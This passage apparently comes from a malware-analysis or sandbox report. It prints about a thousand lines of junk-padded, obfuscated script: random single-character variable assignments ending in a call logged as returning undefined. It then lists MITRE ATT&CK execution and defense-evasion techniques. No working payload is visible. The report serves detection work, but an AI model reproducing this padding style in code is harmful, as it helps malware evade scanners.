505	bcgmtdlyq = "x";
506	bcgmtdlyq = "J";
507	bcgmtdlyq = "Z";
508	bcgmtdlyq = "w";
509	bcgmtdlyq = "V";
510	bcgmtdlyq = "A";
511	bcgmtdlyq = "T";
512	bcgmtdlyq = "o";
513	bcgmtdlyq = "M";
514	bcgmtdlyq = "e";
515	bcgmtdlyq = "g";
516	bcgmtdlyq = "E";
517	bcgmtdlyq = "x";
518	bcgmtdlyq = "W";
519	bcgmtdlyq = "0";
520	plbbf = "X";
521	plbbf = "f";
522	plbbf = "X";
523	plbbf = "t";
524	plbbf = "t";
525	plbbf = "b";
526	plbbf = "c";
527	plbbf = "a";
528	plbbf = "R";
529	plbbf = "k";
530	plbbf = "N";
531	plbbf = "K";
532	plbbf = "W";
533	plbbf = "h";
534	plbbf = "z";
535	plbbf = "J";
536	plbbf = "F";
537	plbbf = "I";
538	plbbf = "i";
539	plbbf = "t";
540	plbbf = "H";
541	plbbf = "G";
542	plbbf = "E";
543	plbbf = "y";
544	plbbf = "Q";
545	plbbf = "T";
546	plbbf = "k";
547	plbbf = "T";
548	jthmfox = "h";
549	jthmfox = "u";
550	jthmfox = "T";
551	jthmfox = "e";
552	jthmfox = "Z";
553	jthmfox = "H";
554	jthmfox = "u";
555	jthmfox = "g";
556	jthmfox = "r";
557	jthmfox = "o";
558	jthmfox = "c";
559	jthmfox = "S";
560	jthmfox = "Z";
561	jthmfox = "q";
562	jthmfox = "G";
563	jthmfox = "N";
564	jthmfox = "r";
565	jthmfox = "x";
566	jthmfox = "W";
567	jthmfox = "Q";
568	jthmfox = "g";
569	jthmfox = "d";
570	jthmfox = "J";
571	jthmfox = "/";
572	hvcwbn = "a";
573	hvcwbn = "U";
574	hvcwbn = "q";
575	hvcwbn = "q";
576	hvcwbn = "B";
577	hvcwbn = "g";
578	hvcwbn = "P";
579	hvcwbn = "l";
580	hvcwbn = "K";
581	hvcwbn = "R";
582	hvcwbn = "t";
583	hvcwbn = "V";
584	hvcwbn = "S";
585	hvcwbn = "w";
586	hvcwbn = "j";
587	hvcwbn = "Z";
588	hvcwbn = "g";
589	hvcwbn = "I";
590	hvcwbn = "R";
591	hvcwbn = "Q";
592	hvcwbn = "E";
593	hvcwbn = "A";
594	hvcwbn = "T";
595	hvcwbn = "N";
596	hvcwbn = "Z";
597	hvcwbn = "u";
598	hvcwbn = "Z";
599	hvcwbn = "h";
600	hvcwbn = "X";
601	hvcwbn = "j";
602	hvcwbn = "A";
603	hvcwbn = "Y";
604	hvcwbn = "Y";
605	hvcwbn = "o";
606	ppcfpmvub = "L";
607	ppcfpmvub = "g";
608	ppcfpmvub = "U";
609	ppcfpmvub = "k";
610	ppcfpmvub = "U";
611	ppcfpmvub = "f";
612	ppcfpmvub = "W";
613	ppcfpmvub = "v";
614	ppcfpmvub = "p";
615	ppcfpmvub = "F";
616	ppcfpmvub = "T";
617	ppcfpmvub = "T";
618	ppcfpmvub = "Q";
619	ppcfpmvub = "N";
620	ppcfpmvub = "U";
621	ppcfpmvub = "d";
622	ppcfpmvub = "p";
623	ppcfpmvub = "z";
624	ppcfpmvub = "i";
625	ppcfpmvub = "T";
626	ppcfpmvub = "a";
627	ppcfpmvub = " ";
628	ihrvug = "X";
629	ihrvug = "b";
630	ihrvug = "i";
631	ihrvug = "h";
632	ihrvug = "d";
633	ihrvug = "I";
634	ihrvug = "T";
635	ihrvug = "Q";
636	ihrvug = "f";
637	ihrvug = "z";
638	ihrvug = "R";
639	ihrvug = "p";
640	ihrvug = "L";
641	ihrvug = "A";
642	ihrvug = "F";
643	ihrvug = "P";
644	eyvylxrsd = "L";
645	eyvylxrsd = "j";
646	eyvylxrsd = "d";
647	eyvylxrsd = "P";
648	eyvylxrsd = "Q";
649	eyvylxrsd = "R";
650	eyvylxrsd = "V";
651	eyvylxrsd = "r";
652	eyvylxrsd = "z";
653	eyvylxrsd = "U";
654	eyvylxrsd = "A";
655	eyvylxrsd = "h";
656	eyvylxrsd = "E";
657	eyvylxrsd = "y";
658	eyvylxrsd = "T";
659	eyvylxrsd = "T";
660	eyvylxrsd = "O";
661	eyvylxrsd = "F";
662	eyvylxrsd = "w";
663	eyvylxrsd = "X";
664	eyvylxrsd = "i";
665	eyvylxrsd = "C";
666	eyvylxrsd = "i";
667	eyvylxrsd = "K";
668	eyvylxrsd = "K";
669	eyvylxrsd = "x";
670	eyvylxrsd = "&";
671	kyobmgjc = "t";
672	kyobmgjc = "u";
673	kyobmgjc = "z";
674	kyobmgjc = "F";
675	kyobmgjc = "Q";
676	jdmhnpn = "r";
677	jdmhnpn = "V";
678	jdmhnpn = "s";
679	jdmhnpn = "J";
680	jdmhnpn = "T";
681	jdmhnpn = "I";
682	jdmhnpn = "Y";
683	jdmhnpn = "s";
684	jdmhnpn = "O";
685	jdmhnpn = "e";
686	jdmhnpn = "X";
687	jdmhnpn = "H";
688	jdmhnpn = "d";
689	jdmhnpn = "M";
690	jdmhnpn = "F";
691	jdmhnpn = "C";
692	jdmhnpn = "L";
693	jdmhnpn = "u";
694	jdmhnpn = "C";
695	jdmhnpn = "@";
696	ukdngsg = "Y";
697	ukdngsg = "u";
698	ukdngsg = "g";
699	ukdngsg = "p";
700	ukdngsg = "i";
701	ukdngsg = "p";
702	ukdngsg = "t";
703	ukdngsg = "q";
704	ukdngsg = "m";
705	ukdngsg = "D";
706	ukdngsg = "Z";
707	ukdngsg = "d";
708	ukdngsg = "d";
709	ukdngsg = "y";
710	ukdngsg = "w";
711	ukdngsg = "b";
712	ukdngsg = "g";
713	ukdngsg = "L";
714	ukdngsg = "U";
715	ukdngsg = "Y";
716	ukdngsg = "J";
717	ukdngsg = "T";
718	ukdngsg = "N";
719	ukdngsg = "M";
720	ukdngsg = "B";
721	ukdngsg = "X";
722	ukdngsg = "z";
723	ukdngsg = "v";
724	ukdngsg = "y";
725	ukdngsg = "v";
726	ukdngsg = "D";
727	ukdngsg = "U";
728	ukdngsg = "u";
729	ukdngsg = "p";
730	ukdngsg = "R";
731	ukdngsg = "k";
732	qjctfnki = "m";
733	qjctfnki = "q";
734	qjctfnki = "n";
735	qjctfnki = "t";
736	qjctfnki = "W";
737	qjctfnki = "b";
738	qjctfnki = "g";
739	qjctfnki = "t";
740	qjctfnki = "I";
741	qjctfnki = "h";
742	qjctfnki = "c";
743	qjctfnki = "L";
744	qjctfnki = "w";
745	qjctfnki = "W";
746	qjctfnki = "a";
747	qjctfnki = "P";
748	qjctfnki = "D";
749	qjctfnki = "b";
750	qjctfnki = "U";
751	qjctfnki = "K";
752	ugwcc = "L";
753	ugwcc = "F";
754	ugwcc = "B";
755	ugwcc = "C";
756	ugwcc = "z";
757	ugwcc = "L";
758	ugwcc = "M";
759	ugwcc = "g";
760	ugwcc = "N";
761	ugwcc = "R";
762	ugwcc = "R";
763	ugwcc = "S";
764	ugwcc = "H";
765	ugwcc = "z";
766	ugwcc = "a";
767	ugwcc = "Y";
768	ugwcc = "c";
769	ugwcc = "K";
770	ugwcc = "z";
771	ugwcc = "Y";
772	ugwcc = "h";
773	ugwcc = "i";
774	ugwcc = "R";
775	ugwcc = "b";
776	ugwcc = "w";
777	ugwcc = "n";
778	ugwcc = "l";
779	rmyagtc = "B";
780	rmyagtc = "R";
781	rmyagtc = "P";
782	rmyagtc = "z";
783	rmyagtc = "D";
784	rmyagtc = "r";
785	rmyagtc = "n";
786	rmyagtc = "x";
787	rmyagtc = "b";
788	rmyagtc = "r";
789	rmyagtc = "l";
790	rmyagtc = "K";
791	rmyagtc = "E";
792	rmyagtc = "z";
793	rmyagtc = "X";
794	rmyagtc = "E";
795	iauxvw = "s";
796	iauxvw = "V";
797	iauxvw = "W";
798	iauxvw = "w";
799	iauxvw = "Y";
800	iauxvw = "U";
801	iauxvw = "Z";
802	iauxvw = "R";
803	iauxvw = "Z";
804	iauxvw = "r";
805	iauxvw = "g";
806	iauxvw = "H";
807	iauxvw = "d";
808	iauxvw = "i";
809	iauxvw = "q";
810	iauxvw = "e";
811	iauxvw = "W";
812	iauxvw = "K";
813	iauxvw = "Y";
814	iauxvw = "V";
815	iauxvw = "K";
816	iauxvw = "b";
817	iauxvw = "S";
818	iauxvw = "3";
819	rvmfl = "A";
820	rvmfl = "q";
821	rvmfl = "v";
822	rvmfl = "o";
823	rvmfl = "i";
824	rvmfl = "r";
825	rvmfl = "U";
826	rvmfl = "J";
827	rvmfl = "k";
828	rvmfl = "S";
829	rvmfl = "S";
830	rvmfl = "o";
831	rvmfl = "P";
832	rvmfl = "a";
833	rvmfl = "b";
834	rvmfl = "s";
835	rvmfl = "R";
836	rvmfl = "V";
837	rvmfl = "F";
838	rvmfl = "p";
839	rvmfl = "E";
840	rvmfl = "s";
841	rvmfl = "o";
842	rvmfl = "s";
843	rvmfl = "K";
844	rvmfl = "m";
845	pjdumde = "Y";
846	pjdumde = "M";
847	pjdumde = "x";
848	pjdumde = "d";
849	pjdumde = "V";
850	pjdumde = "e";
851	pjdumde = "O";
852	pjdumde = "E";
853	pjdumde = "I";
854	pjdumde = "S";
855	pjdumde = "s";
856	pjdumde = "P";
857	pjdumde = "d";
858	pjdumde = "c";
859	pjdumde = "o";
860	pjdumde = "k";
861	pjdumde = "K";
862	pjdumde = "C";
863	pjdumde = "E";
864	pjdumde = "N";
865	pjdumde = "H";
866	pjdumde = "l";
867	pjdumde = "K";
868	pjdumde = "V";
869	pjdumde = "G";
870	pjdumde = "U";
871	pjdumde = "g";
872	pjdumde = "r";
873	pjdumde = "M";
874	pjdumde = "M";
875	pjdumde = "f";
876	pjdumde = "h";
877	pjdumde = "y";
878	pjdumde = "a";
879	pjdumde = "P";
880	pjdumde = "o";
881	pjdumde = "L";
882	pjdumde = "a";
883	pjdumde = "i";
884	pjdumde = "B";
885	pjdumde = "F";
886	rbtuhax = "h";
887	rbtuhax = "S";
888	cdlvqbhu = "b";
889	cdlvqbhu = "F";
890	cdlvqbhu = "u";
891	cdlvqbhu = "z";
892	cdlvqbhu = "P";
893	cdlvqbhu = "h";
894	cdlvqbhu = "G";
895	cdlvqbhu = "r";
896	cdlvqbhu = "G";
897	cdlvqbhu = "Q";
898	cdlvqbhu = "H";
899	cdlvqbhu = "F";
900	cdlvqbhu = "B";
901	cdlvqbhu = "A";
902	cdlvqbhu = "b";
903	cdlvqbhu = "n";
904	cdlvqbhu = "v";
905	cdlvqbhu = "d";
906	bdvdwuxg = "I";
907	bdvdwuxg = "s";
908	bdvdwuxg = "o";
909	bdvdwuxg = "F";
910	bdvdwuxg = "p";
911	bdvdwuxg = "A";
912	bdvdwuxg = "F";
913	bdvdwuxg = "t";
914	bdvdwuxg = "P";
915	bdvdwuxg = "h";
916	bdvdwuxg = "z";
917	bdvdwuxg = "u";
918	bdvdwuxg = "h";
919	drnxpsldn = "y";
920	drnxpsldn = "P";
921	drnxpsldn = "e";
922	drnxpsldn = "X";
923	drnxpsldn = "f";
924	drnxpsldn = "G";
925	drnxpsldn = "B";
926	drnxpsldn = "P";
927	drnxpsldn = "i";
928	drnxpsldn = "M";
929	drnxpsldn = "r";
930	drnxpsldn = "R";
931	drnxpsldn = "b";
932	drnxpsldn = "s";
933	drnxpsldn = "F";
934	drnxpsldn = "u";
935	drnxpsldn = "Y";
936	drnxpsldn = "y";
937	drnxpsldn = "d";
938	drnxpsldn = "z";
939	drnxpsldn = "g";
940	drnxpsldn = "j";
941	drnxpsldn = "T";
942	drnxpsldn = "f";
943	drnxpsldn = "A";
944	drnxpsldn = "b";
945	drnxpsldn = "h";
946	drnxpsldn = "W";
947	drnxpsldn = "q";
948	drnxpsldn = "c";
949	drnxpsldn = "b";
950	qcbdyzut = "A";
951	qcbdyzut = "A";
952	qcbdyzut = "q";
953	qcbdyzut = "L";
954	qcbdyzut = "d";
955	qcbdyzut = "N";
956	qcbdyzut = "o";
957	qcbdyzut = "D";
958	qcbdyzut = "g";
959	qcbdyzut = "Y";
960	qcbdyzut = "j";
961	qcbdyzut = "G";
962	qcbdyzut = "k";
963	qcbdyzut = "j";
964	qcbdyzut = "C";
965	qcbdyzut = "p";
966	qcbdyzut = "v";
967	qcbdyzut = "v";
968	qcbdyzut = "s";
969	qcbdyzut = "j";
970	qcbdyzut = "O";
971	qcbdyzut = "k";
972	qcbdyzut = "G";
973	qcbdyzut = "X";
974	qcbdyzut = "x";
975	qcbdyzut = "z";
976	qcbdyzut = "j";
977	qcbdyzut = "w";
978	qcbdyzut = "i";
979	qcbdyzut = "l";
980	qcbdyzut = "n";
981	qcbdyzut = "S";
982	qcbdyzut = "B";
983	qcbdyzut = "k";
984	qcbdyzut = "b";
985	qcbdyzut = "M";
986	qcbdyzut = "L";
987	qcbdyzut = "F";
988	qcbdyzut = "S";
989	qcbdyzut = "v";
990	qcbdyzut = "a";
991	qcbdyzut = "N";
992	qcbdyzut = "j";
993	qcbdyzut = "g";
994	xhjmfar = "C";
995	xhjmfar = "Q";
996	xhjmfar = "o";
997	xhjmfar = "g";
998	xhjmfar = "z";
999	xhjmfar = "U";
1000	xhjmfar = "W";
1001	xhjmfar = "h";
1002	xhjmfar = "Q";
1003	xhjmfar = "m";
1004	xhjmfar = "J";
1005	xhjmfar = "x";
1006	xhjmfar = "N";
1007	xhjmfar = "s";
1008	xhjmfar = "b";
1009	xhjmfar = "t";
1010	xhjmfar = "d";
1011	xhjmfar = "v";
1012	xhjmfar = "Y";
1013	xhjmfar = "i";
1014	xhjmfar = "P";
1015	xhjmfar = "y";
1016	xhjmfar = "S";
1017	xhjmfar = "m";
1018	xhjmfar = "e";
1019	xhjmfar = "E";
1020	xhjmfar = "z";
1021	xhjmfar = "i";
1022	xhjmfar = "w";
1023	xhjmfar = "n";
1024	xhjmfar = "M";
1025	xhjmfar = "Q";
1026	xhjmfar = "n";
1027	xhjmfar = "e";
1028	xhjmfar = "v";
1029	xhjmfar = "j";
1030	xhjmfar = "i";
1031	xhjmfar = "e";
1032	gkuyd = "X";
1033	gkuyd = "a";
1034	gkuyd = "H";
1035	gkuyd = "E";
1036	gkuyd = "K";
1037	gkuyd = "N";
1038	gkuyd = "e";
1039	gkuyd = "B";
1040	gkuyd = "e";
1041	gkuyd = "r";
1042	gkuyd = "z";
1043	gkuyd = "J";
1044	gkuyd = "m";
1045	gkuyd = "s";
1046	gkuyd = "M";
1047	gkuyd = "y";
1048	gkuyd = "A";
1049	gkuyd = "D";
1050	gkuyd = "F";
1051	gkuyd = "g";
1052	gkuyd = "5";
1053	cvkhlvc = "J";
1054	cvkhlvc = "Y";
1055	cvkhlvc = "x";
1056	cvkhlvc = "x";
1057	cvkhlvc = "G";
1058	cvkhlvc = "v";
1059	cvkhlvc = "e";
1060	cvkhlvc = "F";
1061	cvkhlvc = "V";
1062	cvkhlvc = "s";
1063	cvkhlvc = "B";
1064	cvkhlvc = "M";
1065	cvkhlvc = "X";
1066	cvkhlvc = "K";
1067	cvkhlvc = "I";
1068	cvkhlvc = "m";
1069	cvkhlvc = "T";
1070	cvkhlvc = "i";
1071	cvkhlvc = "J";
1072	cvkhlvc = "s";
1073	cvkhlvc = "P";
1074	cvkhlvc = "l";
1075	cvkhlvc = "L";
1076	cvkhlvc = "J";
1077	cvkhlvc = "P";
1078	cvkhlvc = "h";
1079	cvkhlvc = "Z";
1080	cvkhlvc = "s";
1081	cvkhlvc = "L";
1082	cvkhlvc = "z";
1083	cvkhlvc = "s";
1084	cvkhlvc = "q";
1085	cvkhlvc = "u";
1086	cvkhlvc = "p";
1087	cvkhlvc = "c";
1088	cvkhlvc = "s";
1089	cvkhlvc = "n";
1090	cvkhlvc = "b";
1091	cvkhlvc = "i";
1092	cvkhlvc = "e";
1093	cvkhlvc = "C";
1094	cvkhlvc = "b";
1095	cvkhlvc = "i";
1096	galeufxn = "w";
1097	galeufxn = "V";
1098	galeufxn = "J";
1099	galeufxn = "T";
1100	galeufxn = "x";
1101	galeufxn = "N";
1102	galeufxn = "T";
1103	galeufxn = "T";
1104	galeufxn = "\"";
1105	ctfoedgt = "q";
1106	ctfoedgt = "t";
1107	ctfoedgt = "C";
1108	ctfoedgt = "t";
1109	ctfoedgt = "W";
1110	ctfoedgt = "p";
1111	ctfoedgt = "e";
1112	ctfoedgt = "H";
1113	ctfoedgt = "a";
1114	ctfoedgt = "G";
1115	ctfoedgt = "g";
1116	ctfoedgt = "i";
1117	ctfoedgt = "z";
1118	ctfoedgt = "I";
1119	ctfoedgt = "L";
1120	ctfoedgt = "v";
1121	ctfoedgt = "k";
1122	ctfoedgt = "c";
1123	ctfoedgt = "M";
1124	ctfoedgt = "T";
1125	ctfoedgt = "l";
1126	ctfoedgt = "W";
1127	ctfoedgt = "f";
1128	ctfoedgt = "t";
1129	ctfoedgt = "T";
1130	ctfoedgt = "J";
1131	ctfoedgt = "d";
1132	ctfoedgt = "j";
1133	ctfoedgt = "B";
1134	ctfoedgt = "e";
1135	ctfoedgt = "S";
1136	ctfoedgt = "h";
1137	ctfoedgt = "s";
1138	ctfoedgt = "q";
1139	ctfoedgt = "F";
1140	ctfoedgt = "H";
1141	ctfoedgt = "s";
1142	ctfoedgt = "e";
1143	ctfoedgt = "s";
1144	jtrtx = "L";
1145	jtrtx = "O";
1146	jtrtx = "e";
1147	jtrtx = "T";
1148	jtrtx = "k";
1149	jtrtx = "y";
1150	jtrtx = "y";
1151	jtrtx = "S";
1152	jtrtx = "S";
1153	jtrtx = "i";
1154	jtrtx = "B";
1155	jtrtx = "m";
1156	jtrtx = "Z";
1157	jtrtx = "u";
1158	skkieuui = "d";
1159	skkieuui = "r";
1160	skkieuui = "V";
1161	skkieuui = "I";
1162	skkieuui = "a";
1163	skkieuui = "t";
1164	skkieuui = "c";
1165	skkieuui = "l";
1166	skkieuui = "o";
1167	skkieuui = "j";
1168	skkieuui = "t";
1169	skkieuui = "c";
1170	skkieuui = "N";
1171	skkieuui = "q";
1172	skkieuui = "c";
1173	skkieuui = "H";
1174	skkieuui = "h";
1175	skkieuui = "O";
1176	vrgworlc = "w";
1177	vrgworlc = "Z";
1178	vrgworlc = "u";
1179	vrgworlc = "a";
1180	vrgworlc = "i";
1181	vrgworlc = "o";
1182	vrgworlc = "J";
1183	vrgworlc = "n";
1184	vrgworlc = "t";
1185	vrgworlc = "p";
1186	vrgworlc = "T";
1187	vrgworlc = "Q";
1188	vrgworlc = "A";
1189	vrgworlc = "m";
1190	vrgworlc = "t";
1191	vrgworlc = "K";
1192	vrgworlc = "G";
1193	vrgworlc = "m";
1194	vrgworlc = "v";
1195	vrgworlc = "j";
1196	vrgworlc = "l";
1197	vrgworlc = "F";
1198	vrgworlc = "r";
1199	vrgworlc = "M";
1200	vrgworlc = "c";
1201	vrgworlc = "y";
1202	vrgworlc = "G";
1203	vrgworlc = "P";
1204	vrgworlc = "Q";
1205	vrgworlc = "Z";
1206	vrgworlc = "d";
1207	vrgworlc = "a";
1208	hgwrebfh = "K";
1209	hgwrebfh = "o";
1210	hgwrebfh = "j";
1211	hgwrebfh = "V";
1212	hgwrebfh = "L";
1213	hgwrebfh = "q";
1214	hgwrebfh = "B";
1215	hgwrebfh = "Q";
1216	hgwrebfh = "V";
1217	hgwrebfh = "l";
1218	hgwrebfh = "B";
1219	hgwrebfh = "N";
1220	hgwrebfh = "y";
1221	hgwrebfh = "8";
1222	wtcvnsyhv = "P";
1223	wtcvnsyhv = "d";
1224	wtcvnsyhv = "d";
1225	wtcvnsyhv = "Q";
1226	wtcvnsyhv = "D";
1227	wtcvnsyhv = "K";
1228	wtcvnsyhv = "h";
1229	wtcvnsyhv = "M";
1230	wtcvnsyhv = "a";
1231	wtcvnsyhv = "l";
1232	wtcvnsyhv = "Q";
1233	wtcvnsyhv = "s";
1234	wtcvnsyhv = "d";
1235	wtcvnsyhv = "P";
1236	wtcvnsyhv = "t";
1237	wtcvnsyhv = "g";
1238	wtcvnsyhv = "d";
1239	wtcvnsyhv = "T";
1240	wtcvnsyhv = "s";
1241	wtcvnsyhv = "O";
1242	wtcvnsyhv = "t";
1243	vmtfqqgh = "V";
1244	vmtfqqgh = "U";
1245	vmtfqqgh = "n";
1246	nrgxhkfi = "e";
1247	nrgxhkfi = "c";
1248	nrgxhkfi = "q";
1249	nrgxhkfi = "K";
1250	nrgxhkfi = "v";
1251	nrgxhkfi = "f";
1252	nrgxhkfi = "v";
1253	nrgxhkfi = "M";
1254	nrgxhkfi = "U";
1255	nrgxhkfi = "v";
1256	nrgxhkfi = "L";
1257	nrgxhkfi = "g";
1258	nrgxhkfi = "B";
1259	nrgxhkfi = "j";
1260	nrgxhkfi = "L";
1261	nrgxhkfi = "e";
1262	nrgxhkfi = "y";
1263	nrgxhkfi = "I";
1264	iqzbkbk = "x";
1265	iqzbkbk = "n";
1266	iqzbkbk = "x";
1267	iqzbkbk = "Y";
1268	iqzbkbk = "E";
1269	iqzbkbk = "E";
1270	iqzbkbk = "p";
1271	iqzbkbk = "v";
1272	iqzbkbk = "G";
1273	iqzbkbk = "U";
1274	iqzbkbk = "l";
1275	iqzbkbk = "w";
1276	iqzbkbk = "H";
1277	iqzbkbk = "j";
1278	iqzbkbk = "z";
1279	iqzbkbk = "f";
1280	bdwddsfhu = "d";
1281	bdwddsfhu = "E";
1282	bdwddsfhu = "C";
1283	bdwddsfhu = "G";
1284	bdwddsfhu = "w";
1285	bdwddsfhu = "t";
1286	bdwddsfhu = "C";
1287	bdwddsfhu = "v";
1288	bdwddsfhu = "M";
1289	bdwddsfhu = "V";
1290	bdwddsfhu = "g";
1291	bdwddsfhu = "F";
1292	bdwddsfhu = "O";
1293	bdwddsfhu = "V";
1294	bdwddsfhu = "f";
1295	bdwddsfhu = "Y";
1296	bdwddsfhu = "I";
1297	bdwddsfhu = "c";
1298	bdwddsfhu = "i";
1299	bdwddsfhu = "j";
1300	bdwddsfhu = "J";
1301	bdwddsfhu = "K";
1302	bdwddsfhu = "t";
1303	bdwddsfhu = ":";
1304	lvpdsfrgj = "s";
1305	lvpdsfrgj = "n";
1306	lvpdsfrgj = "I";
1307	lvpdsfrgj = "u";
1308	lvpdsfrgj = "G";
1309	lvpdsfrgj = "d";
1310	lvpdsfrgj = "q";
1311	lvpdsfrgj = "v";
1312	lvpdsfrgj = "W";
1313	lvpdsfrgj = "t";
1314	lvpdsfrgj = "i";
1315	lvpdsfrgj = "l";
1316	lvpdsfrgj = "W";
1317	lvpdsfrgj = "X";
1318	lvpdsfrgj = "c";
1319	lvpdsfrgj = "N";
1320	lvpdsfrgj = "z";
1321	lvpdsfrgj = "V";
1322	lvpdsfrgj = "Q";
1323	lvpdsfrgj = "v";
1324	lvpdsfrgj = "K";
1325	lvpdsfrgj = "Z";
1326	lvpdsfrgj = "P";
1327	lvpdsfrgj = "h";
1328	lvpdsfrgj = "J";
1329	lvpdsfrgj = "K";
1330	lvpdsfrgj = "R";
1331	lvpdsfrgj = "r";
1332	lvpdsfrgj = "A";
1333	lvpdsfrgj = "y";
1334	lvpdsfrgj = "V";
1335	lvpdsfrgj = "Z";
1336	lvpdsfrgj = "t";
1337	lvpdsfrgj = "C";
1338	lvpdsfrgj = "u";
1339	lvpdsfrgj = "v";
1340	lvpdsfrgj = "P";
1341	lvpdsfrgj = "Z";
1342	lvpdsfrgj = "v";
1343	lvpdsfrgj = "C";
1344	lvpdsfrgj = "c";
1345	zerzv = "P";
1346	zerzv = "v";
1347	zerzv = "q";
1348	zerzv = "r";
1349	zerzv = "W";
1350	zerzv = "t";
1351	zerzv = "v";
1352	zerzv = "d";
1353	zerzv = "O";
1354	zerzv = "P";
1355	zerzv = "D";
1356	zerzv = "O";
1357	zerzv = "A";
1358	zerzv = "o";
1359	zerzv = "Z";
1360	zerzv = "X";
1361	zerzv = "u";
1362	zerzv = ".";
1363	xoseq = "I";
1364	xoseq = "N";
1365	xoseq = "f";
1366	xoseq = "F";
1367	xoseq = "b";
1368	xoseq = "Y";
1369	xoseq = "L";
1370	xoseq = "Q";
1371	xoseq = "B";
1372	xoseq = "Z";
1373	xoseq = "c";
1374	xoseq = "T";
1375	xoseq = "V";
1376	xoseq = "d";
1377	xoseq = "X";
1378	xoseq = "l";
1379	xoseq = "n";
1380	xoseq = "B";
1381	xoseq = "y";
1382	xoseq = "D";
1383	xoseq = "n";
1384	xoseq = "F";
1385	xoseq = "k";
1386	xoseq = "W";
1387	xoseq = "R";
1388	xoseq = "j";
1389	xoseq = "j";
1390	xoseq = "A";
1391	xoseq = "X";
1392	xoseq = "M";
1393	xoseq = "X";
1394	xoseq = "j";
1395	xoseq = "m";
1396	xoseq = "j";
1397	xoseq = "o";
1398	xoseq = "x";
1399	xoseq = "x";
1400	xoseq = "i";
1401	xoseq = "h";
1402	xoseq = "s";
1403	xoseq = "K";
1404	xoseq = "J";
1405	xoseq = "m";
1406	xoseq = "U";
1407	vlgbozmdn = "Z";
1408	vlgbozmdn = "e";
1409	vlgbozmdn = "U";
1410	vlgbozmdn = "r";
1411	vlgbozmdn = "G";
1412	vlgbozmdn = "J";
1413	vlgbozmdn = "k";
1414	vlgbozmdn = "l";
1415	vlgbozmdn = "h";
1416	vlgbozmdn = "k";
1417	vlgbozmdn = "k";
1418	vlgbozmdn = "Q";
1419	vlgbozmdn = "s";
1420	vlgbozmdn = "g";
1421	vlgbozmdn = "a";
1422	vlgbozmdn = "O";
1423	vlgbozmdn = "W";
1424	vlgbozmdn = "Y";
1425	vlgbozmdn = "z";
1426	vlgbozmdn = "O";
1427	vlgbozmdn = "v";
1428	vlgbozmdn = "b";
1429	vlgbozmdn = "B";
1430	vlgbozmdn = "r";
1431	vlgbozmdn = "i";
1432	vlgbozmdn = "2";
1433	udwaphmv = "S";
1434	udwaphmv = "j";
1435	udwaphmv = "N";
1436	udwaphmv = "R";
1437	udwaphmv = "a";
1438	udwaphmv = "i";
1439	udwaphmv = "e";
1440	udwaphmv = "z";
1441	udwaphmv = "t";
1442	udwaphmv = "F";
1443	udwaphmv = "J";
1444	udwaphmv = "j";
1445	udwaphmv = "U";
1446	udwaphmv = "X";
1447	udwaphmv = "I";
1448	udwaphmv = "F";
1449	udwaphmv = "d";
1450	udwaphmv = "E";
1451	udwaphmv = "k";
1452	udwaphmv = "j";
1453	fvywdwrl = "z";
1454	fvywdwrl = "r";
1455	fvywdwrl = "m";
1456	fvywdwrl = "g";
1457	fvywdwrl = "g";
1458	fvywdwrl = "i";
1459	fvywdwrl = "q";
1460	fvywdwrl = "L";
1461	fvywdwrl = "n";
1462	fvywdwrl = "Y";
1463	fvywdwrl = "e";
1464	fvywdwrl = "V";
1465	fvywdwrl = "L";
1466	fvywdwrl = "f";
1467	fvywdwrl = "n";
1468	fvywdwrl = "z";
1469	fvywdwrl = "u";
1470	fvywdwrl = "j";
1471	fvywdwrl = "F";
1472	fvywdwrl = "m";
1473	fvywdwrl = "p";
1474	fvywdwrl = "H";
1475	fvywdwrl = "E";
1476	fvywdwrl = "H";
1477	fvywdwrl = "w";
1478	fvywdwrl = "E";
1479	fvywdwrl = "l";
1480	fvywdwrl = "m";
1481	fvywdwrl = "c";
1482	fvywdwrl = "p";
1483	fvywdwrl = "W";
1484	fvywdwrl = "T";
1485	fvywdwrl = "Q";
1486	fvywdwrl = "m";
1487	fvywdwrl = "s";
1488	fvywdwrl = "a";
1489	fvywdwrl = "o";
1490	fvywdwrl = "u";
1491	fvywdwrl = "Z";
1492	fvywdwrl = "x";
1493	fvywdwrl = "u";
1494	fvywdwrl = "T";
1495	fvywdwrl = "-";
1496	cgfumqqd = "h";
1497	cgfumqqd = "R";
1498	cgfumqqd = "F";
1499	cgfumqqd = "f";
1500	cgfumqqd = "V";
1501	cgfumqqd = "Y";
1502	cgfumqqd = "g";
1503	cgfumqqd = "J";
1504	cgfumqqd = "b";
1505	cgfumqqd = "b";
1506	cgfumqqd = "n";
1507	cgfumqqd = "F";
1508	cgfumqqd = "m";
1509	cgfumqqd = "p";
1510	cgfumqqd = "w";
1511	kgvqm ( );	kgvqm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

